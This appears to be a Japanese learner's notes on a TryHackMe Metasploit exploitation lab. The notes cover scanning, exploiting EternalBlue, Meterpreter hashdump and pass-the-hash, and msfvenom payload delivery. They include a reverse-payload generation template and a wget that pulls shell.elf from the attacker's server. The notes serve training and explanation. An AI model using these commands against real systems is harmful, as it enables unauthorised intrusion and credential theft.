この記事について
TryHackMe の「Metasploit: Exploitation」というルームで学んだ内容を、Task 単位でまとめたノートです。Cyber Security 101 の「Exploitation Basics」モジュールにあり、Metasploit の基本操作を扱う前ルーム(Metasploit: Introduction)の続きに置かれた、実技寄りのルームでした。
扱うのは Metasploit Framework を使った一連の流れです。ポートスキャン、複数ターゲットを整理するデータベース機能、脆弱性スキャン、エクスプロイト、そして msfvenom で単体のペイロードファイルを作って侵入する方法、と「偵察から侵入後まで」をひととおりなぞる構成になっています。
課題の設問・答え・フラグはここには含めていません。各 Task で出てきた用語や、手を動かして分かったことを、自分の理解として整理したものです。攻撃手順そのものではなく、道具が何をしているのかと、途中で引っかかった箇所の記録が中心です。
このルームの後半で悪用する MS17-010 は、SMBv1(ファイル共有プロトコルの古い版)の脆弱性群で、Microsoft が 2017 年 3 月に修正を出しています。その翌月には「EternalBlue」と呼ばれるエクスプロイトが公開され、同年 5 月の WannaCry ランサムウェアが自己増殖の手段としてこれを使ったことで広く知られるようになりました。修正から 9 年ほど経った今でも、学習用の環境でこれだけ確実に刺さる穴として現役です。「パッチは出ていても、当てられていない機械はずっと残る」という話を、モジュール一発で体験する構成でした。
Task 1: 導入
Metasploit が何をするフレームワークなのか、という導入です。
Metasploit の機能は「モジュール(module)」という部品単位で提供されます。ざっくり 4 種類あって、exploit(脆弱性を突く本体)、auxiliary(スキャナなど、攻撃に直接はならない補助)、payload(侵入後にターゲット上で動くコード)、post(侵入後の情報収集)に分かれます。どのフェーズでどの種類を使うのかを最初に頭へ入れておくと、後の Task で迷いません。
操作は msfconsole という対話型のコンソールから行います。ペイロードの代表格が Meterpreter で、メモリ上で動き、ファイル操作・スクリーンショット・ハッシュのダンプといった侵入後の機能を最初から備えています。もうひとつ、msfvenom という「ペイロードだけを単体ファイルとして書き出す」コマンドラインツールがあり、これは Task 6 の主役です。
学んだこと
このルームはコマンドの見た目こそ多いのですが、やっていることは「モジュールを選ぶ → 設定を埋める → 実行する」の繰り返しです。最初にモジュールの分類(exploit / auxiliary / payload / post)を押さえておくと、search の結果に大量のモジュールが出てきても「今ほしいのはどれか」で絞れるようになりました。
関連キーワード
| キーワード(英語) | 説明 |
|---|---|
| Metasploit Framework | 脆弱性の探索・悪用・侵入後までを一体で扱う攻撃用フレームワーク |
| module | Metasploit の機能単位。exploit / auxiliary / payload / post などに分類される |
| Meterpreter | Metasploit 専用の高機能ペイロード。メモリ常駐で侵入後の操作を多数内蔵 |
| msfvenom | ペイロードを .exe / .elf / PHP などの単体ファイルとして生成する CLI ツール |
Task 2: スキャン
Metasploit にもポートスキャン用のモジュールがあります。search portscan で候補が並び、auxiliary/scanner/portscan/tcp などを use して使います。
ここで一番刺さったのは、スキャン範囲のデフォルト値の違いです。Metasploit のポートスキャンモジュールの PORTS は既定で 1-10000(ポート番号 1 番から 10000 番)ですが、Nmap のデフォルトは「よく使われる上位 1000 ポート」で、両者はまったく別物です。「スキャンしたのに出ない」を避けるには、この範囲の違いを意識する必要があります。
もっとも、教材自身が「速さが要るなら Metasploit のスキャンは第一候補ではない」と認めていて、msfconsole のプロンプトから直接 nmap を叩けますし、db_nmap にすると結果がデータベースに保存されます(Task 3)。Metasploit ならではの部分としては、scanner/discovery/udp_sweep で UDP 上の DNS や NetBIOS を手早く洗い出したり、scanner/smb/smb_version で SMB のバージョンやコンピュータ名を取ったりできます。
NetBIOS(Network Basic Input Output System、古くからある名前解決とセッション層の仕組み)の名前は、CORP-DC や SALES のように、そのマシンの役割や重要度を教えてくれることがあります。目立たないサービスも省かない、という指摘が印象に残りました。
学んだこと
モジュール操作の基本サイクル search → use → set → run が、この Task ではっきりしました。show options で Required が yes になっている空欄を埋めて run、という形はこの先ほぼすべての操作で共通です。ツールごとにデフォルトのスキャン範囲が違う、という当たり前だけど見落としやすい点も、範囲を明示する癖として持ち帰りました。
関連キーワード
| キーワード(英語) | 説明 |
|---|---|
| search / use / set / run | Metasploit のモジュール操作の基本サイクル |
| RHOSTS / LHOST | 攻撃対象(remote)と攻撃者側(local)を指すオプション名 |
| udp_sweep | UDP 上の代表的サービス(DNS・NetBIOS など)を素早く洗い出すモジュール |
| smb_version / smb_login | SMB のバージョン特定・資格情報ブルートフォース用の auxiliary モジュール |
| NetBIOS | 名前解決とセッション層の古いプロトコル。ホスト名やワークグループが漏れやすい |
Task 3: Metasploit のデータベース
TryHackMe で 1 台だけを相手にする分には必須ではありませんが、実際のペネトレーションテスト(penetration test、許可を得た侵入テスト)では対象が複数になります。そのための整理術が、Metasploit のデータベース機能です。
内部で PostgreSQL を使い、AttackBox なら初期化済みで db_status が Connected になっていれば準備完了です。案件ごとに workspace -a <名前> でワークスペースを分けておくと、A 社の結果と B 社の結果が混ざる事故を防げます。db_nmap でスキャンすると結果が自動でデータベースに入り、hosts -R でそのホストの IP を RHOSTS に一括で流し込めます。ターゲットが 10 台あっても IP をコピペし続けなくて済む、というのが利点です。
教材には「取りやすい果実(low-hanging fruit)」の一覧もありました。HTTP なら Web アプリの脆弱性、FTP なら匿名ログイン、SMB なら MS17-010、SSH なら弱い資格情報、RDP なら BlueKeep や弱い資格情報、という具合に、サービスごとに「まず当たるべき定番」を持っておく、という考え方です。
学んだこと
この Task に設問はなく、手を動かす場面も少なめでした。ただ、db_nmap → hosts -R → use → show options → run という「IP を手打ちしないワークフロー」は、後の Task で実際に使ってみると確かに楽で、複数ターゲットを前提にした道具立てなのだと納得しました。
関連キーワード
| キーワード(英語) | 説明 |
|---|---|
| workspace | 案件・ターゲット群ごとにデータを分離する単位。workspace -a で作成 |
| db_nmap | 通常の nmap と同じ構文で走り、結果を自動でデータベースへ記録する |
| hosts -R / services -S | データベースの情報を RHOSTS へ流し込む / 特定サービスを検索する |
| low-hanging fruit | 見つけやすく悪用しやすい脆弱性。最初に当たるべき候補 |
Task 4: 脆弱性スキャン
Metasploit で脆弱性を見つける作業は、ターゲットをどれだけ正確にフィンガープリンティング(fingerprinting、応答の特徴から製品やバージョンを特定すること)できるかに大きく依存します。サービスが分かれば search で関連モジュールが並び、その中から scanner モジュールを選んで確認していきます。
この Task の中心は info コマンドです。任意のモジュールに対して info を打つと、作者(Provided by:)・説明・オプション・参考 CVE がまとめて表示されます。設問も「あるモジュールの作者は誰か」を問うもので、use して info を読むだけで答えにたどり着く、という練習でした。
学んだこと
search の結果には payload や post も混ざります。まだ使うエクスプロイトを決めていない段階では、それらは無視して scanner / auxiliary に注目する、という絞り方を覚えました。info は「このモジュールは何者で、何を設定する必要があるのか」を確認する入口として、選定の前に必ず通す癖をつけようと思います。
関連キーワード
| キーワード(英語) | 説明 |
|---|---|
| info コマンド | モジュールの作者・説明・オプション・参考 CVE を一覧表示する |
| fingerprinting | 応答の特徴から OS・製品・バージョンを推定すること |
| Provided by |
info 出力中の作者・貢献者欄。設問はこの欄を問うていた |
| open relay | 送信元・宛先を問わずメールを中継してしまう SMTP の設定不備 |
Task 5: エクスプロイト
ここから実際に侵入します。基本サイクルはスキャンと同じ search → use → set → exploit で、これに payload まわりの設定が加わります。
多くのエクスプロイトには既定のペイロードが設定済みですが、show payloads で候補を一覧し、set payload で選び直せます。教材が念を押しているのは「動くペイロードを見つけるのは試行錯誤になりうる」という点で、ファイアウォールのルール、アンチウイルス、書き込みの可否、実行に必要なインタプリタの有無、といった環境要因で成否が変わります。reverse 型(ターゲットから攻撃者へ接続してくる型)のペイロードでは、少なくとも LHOST(攻撃者側の戻り先アドレス)の設定が必要です。
悪用対象は MS17-010、通称 EternalBlue です。SMBv1 の実装にあるメモリ破壊の脆弱性で、未パッチの Windows 7 / Server 2008 系に対してモジュール一発で SYSTEM 権限(Windows で最も強い権限)のコード実行に至ります。私が試した環境でも、対象を指定して実行すると「likely VULNERABLE」と判定が出て、そのまま Meterpreter セッションが開きました。
セッションが開いたあとは Meterpreter の出番です。getuid で NT AUTHORITY\SYSTEM を確認し、search コマンド(Meterpreter 内のファイル検索)で目的のファイルを絞り込んで探し、cat で中身を読みました。全ドライブを対象にすると遅いので、ユーザーのディレクトリ配下に範囲を絞ると速く見つかります。
もうひとつやったのが hashdump です。SYSTEM 権限があれば、Windows がローカルアカウントのパスワードを保管している SAM データベースからハッシュを吸い出せます。出力は ユーザー名:RID:LMハッシュ:NTハッシュ::: の形式で、4 番目のフィールドが NTLM ハッシュ(現代の Windows が使うパスワードハッシュ形式。ソルトなしの MD4)です。クラックしなくてもハッシュのまま認証に使い回す「pass the hash」という攻撃があるため、実務では「クラックは平文そのものが欲しいときの手段」という位置づけになります。
セッションは Ctrl+Z で背後に回し、Ctrl+C で中断、sessions -i <ID> で戻れます。複数のセッションを扱うときのために sessions -l(一覧)、-k / -K(終了)、-u(通常シェルを Meterpreter に格上げ)も押さえておきます。
学んだこと
「穴を突く」と「侵入後に動く」がはっきり分かれている、という感覚が掴めました。エクスプロイトモジュールはセッションを開くところまでが仕事で、そこから先はペイロード(今回は Meterpreter)の機能で情報を広げていく。hashdump が pass the hash やオフラインクラックの入口になる、という「次につながる形」まで含めて理解できたのが収穫でした。範囲を絞ってからファイルを探す、という基本動作も、遅さの体感つきで覚えました。
関連キーワード
| キーワード(英語) | 説明 |
|---|---|
| MS17-010 / EternalBlue | Windows SMBv1 のリモートコード実行脆弱性。2017 年の WannaCry が拡散に利用 |
| reverse shell / bind shell | 接続の向きが逆。reverse はターゲット→攻撃者、bind は攻撃者→ターゲット |
| hashdump | SAM から Windows アカウントのハッシュを取り出す Meterpreter コマンド |
| NTLM hash | Windows のパスワードハッシュ形式。ソルトなしの MD4 |
| pass the hash | ハッシュを平文化せず認証に使い回す横展開の手法 |
| sessions -i / -u | セッションと対話する / 通常シェルを Meterpreter に格上げする |
Task 6: Msfvenom
Task 5 は「エクスプロイトモジュールで穴を突いて入る」でしたが、この Task は「すでにファイルを置ける・実行できる状況で、自前のペイロードを送り込んで戻りを取る」パターンです。ペネトレーションテストではこちらの出番も多いそうです。
msfvenom は、かつての msfpayload と msfencode を統合したツールで、Metasploit のペイロードを PHP・exe・dll・elf・ASP・Python などさまざまな形式で書き出せます。基本の形は次のとおりです。
msfvenom -p <payload> LHOST=<攻撃者のIP> LPORT=<ポート> -f <形式> > <出力ファイル>
-p がペイロード指定、-f が出力形式、LHOST / LPORT はペイロードに埋め込む戻り先です。Linux 実行ファイルの .elf 形式は Windows の .exe に相当し、ターゲットに置いたあと chmod +x で実行権限を付けてから実行します。
教材がはっきり否定しているのが「エンコーダ(encoder)はアンチウイルス回避の機能ではない」という点です。-e でペイロードをエンコード(符号化)できますが、名前のとおり符号化するだけで、今どきのアンチウイルスはエンコード済みでも検知します。回避は別の技術領域だ、と釘を刺しています。
もうひとつの主役がハンドラ(handler)です。reverse 型のペイロードは「ターゲットから攻撃者へ電話がかかってくる」ので、それを受ける側が要ります。エクスプロイトモジュール経由なら自動で用意されますが、msfvenom 単体運用では exploit/multi/handler を自分で起動します。このモジュールはすべてのペイロードに対応していて、payload / LHOST / LPORT を 生成時とまったく同じ値 に設定するのが肝心です。ここがズレると「実行したのにシェルが返らない」の最頻出原因になります。
私が実際にやったのは、Linux ターゲットに対して .elf の Meterpreter ペイロードを作り、python3 -m http.server(カレントディレクトリを簡易 HTTP 公開する Python 標準機能)で配って、ターゲット側で wget して実行、exploit/multi/handler で受ける、という流れです。そのあと Meterpreter を背後に回し、post/linux/gather/hashdump という post モジュールで /etc/passwd と /etc/shadow を突き合わせ、ほかのユーザーのハッシュを回収しました。/etc/shadow は root しか読めないので、ターゲット側では先に root 権限を取っておく必要があります。
引っかかったところ その1: wget の // 抜け
ターゲットにペイロードを取りに行かせるとき、wget http:192.168.x.x:9000/shell.elf と打ってしまいました(http:// の // が抜けています)。返ってきたのはこれです。
--2026-09-03 13:49:01-- ftp://http/192.168.x.x:9000/shell.elf
Resolving http (http)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'http'
// がないと http がホスト名として解釈され、しかも勝手に ftp:// を補われて、http という名前の機械を探しに行って名前解決に失敗していました。ダウンロード自体が始まっていないので、当然その先も動きません。http:// と正しく書いたら通りました。エラーメッセージの 1 行目に出ている補完後の URL を見れば、何を勘違いされたかはすぐ分かります。
引っかかったところ その2: Ctrl+Z で msfconsole ごと止める
Meterpreter を背後に回すつもりで background と打ったあと、確認プロンプトに余計な y を入れ、さらに msf プロンプトで Ctrl+Z を押しました。結果、[1]+ 停止 msfconsole と出てシェルに戻されました。
Ctrl+Z はプロセスの一時停止(サスペンド)であって終了ではありません。msfconsole が止まっているだけなので、シェルで fg を打てば前面に戻ります。戻ってから sessions -l を見たらセッションは生きていて、そのまま続行できました。ちなみに background は Enter 1 回で完了するので、確認プロンプトへの y は不要でした。綺麗に終わらせたいときは sessions -K で全セッションを閉じてから exit する、というのが行儀のよい終わり方です。
学んだこと
msfvenom + exploit/multi/handler は、「生成物とハンドラで payload / LHOST / LPORT の 3 点を一致させる」が全てと言ってよいくらいで、シェルが返らないときはまずここを疑う、と決めました。ファイル転送の python3 -m http.server + wget、.elf の chmod +x、post モジュールが root を要ること、と地味な前提が積み重なっていて、どれか 1 つ抜けると止まります。エラーが出ずに「ただ返ってこない」ことがある、というのが Metasploit を触るうえでの心構えとして残りました。
関連キーワード
| キーワード(英語) | 説明 |
|---|---|
| msfvenom | ペイロード生成 + エンコードを行う CLI ツール。msfpayload + msfencode の後継 |
| output format (-f) | 出力形式。elf / exe / dll / asp / raw / py など |
| encoder (-e) | ペイロードを符号化するモジュール。アンチウイルス回避が目的ではない |
| exploit/multi/handler | 任意のペイロードのコールバックを受け取る汎用ハンドラ(リスナー) |
| staged / stageless |
meterpreter/reverse_tcp(/=ステージ型)と meterpreter_reverse_tcp(_=ステージレス)の違い |
| python3 -m http.server | カレントディレクトリを簡易 HTTP サーバとして公開する Python 標準機能 |
| post/linux/gather/hashdump | Linux の /etc/shadow からハッシュを収集する post モジュール(要 root) |
Task 7: まとめ
ルーム全体のまとめです。通った流れを実戦の順番で並べると、こうなります。
- スキャン …
db_nmapやauxiliary/scanner/*でポートとサービスを洗い出す - データベース整理 …
workspaceで案件を分け、hosts -Rで IP を使い回す - 脆弱性の特定 …
searchとinfoで「使えそうな穴」を見極める - エクスプロイト …
use exploit/...→ payload / LHOST 設定 →exploitでセッションを取る - ペイロード自作 … エクスプロイトモジュールがない状況では
msfvenom+exploit/multi/handler - 侵入後(post-exploitation) … Meterpreter で
hashdumpなどに広げる
続編にあたる「Metasploit: Meterpreter」というルームで、6 番目を掘り下げていくようです。
学んだこと
個々のコマンドより、「どの順で何をするか」という流れの方が本質だと感じました。エクスプロイトモジュールで直接穴を突くのか、msfvenom でファイルを送り込むのか、という使い分けの軸も掴めました。Meterpreter が侵入後フェーズの中心にいて、次のルームへの橋渡しになっている、という位置づけも見えました。
関連キーワード
| キーワード(英語) | 説明 |
|---|---|
| post-exploitation | 侵入成功後のフェーズ。権限昇格・資格情報収集・横展開・永続化など |
| lateral movement(横展開) | 取得した資格情報などでネットワーク内の別ホストへ侵入を広げること |
| privilege escalation(特権昇格) | 一般ユーザー権限から root / SYSTEM など高権限を取ること |
おわりに
Metasploit の基本操作ルームの続きとして、偵察から侵入後までを一本の線でなぞれるルームでした。EternalBlue はさんざん名前を聞いてきた脆弱性でしたが、モジュールを選んで実行するとあっさりセッションが開くのを見ると、2017 年に世界中で何が起きたのかが少し実感を伴って想像できました。
一番の学びは Task 6 の「エラーは出ないのに返ってこない」でした。wget の // 抜けも、Ctrl+Z での取り違えも、派手なエラーは出ません。出力の 1 行目を読む、fg で戻る、payload / LHOST / LPORT の一致を確認する、といった基本動作を、詰まりながら覚えた回でした。次は続編の Meterpreter ルームで、侵入後の操作を反復してみます。